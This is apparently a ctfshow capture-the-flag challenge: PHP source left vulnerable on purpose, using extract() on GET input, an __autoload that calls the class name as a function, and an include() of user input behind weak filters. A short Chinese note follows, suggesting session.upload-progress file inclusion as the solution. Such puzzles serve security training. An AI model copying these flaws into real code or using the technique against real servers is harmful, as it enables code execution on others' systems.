<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-19 07:12:57 */ include("flag.php"); error_reporting(0); highlight_file(__FILE__); class CTFSHOW{ private $username; private $password; private $vip; private $secret; function __construct(){ $this->vip = 0; $this->secret = $flag; } function __destruct(){ echo $this->secret; } public function isVIP(){ return $this->vip?TRUE:FALSE; } } function __autoload($class){ if(isset($class)){ $class(); } } #过滤字符 $key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){ die("error"); } $ctf = $_POST['ctf']; extract($_GET); if(class_exists($__CTFSHOW__)){ echo "class is exists!"; } if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){ include($ctf); }

做题

这里已经拦截了使用日志的方法来引入了,我们可以使用 session.upload-progress 来引入。
 

参考资料

目录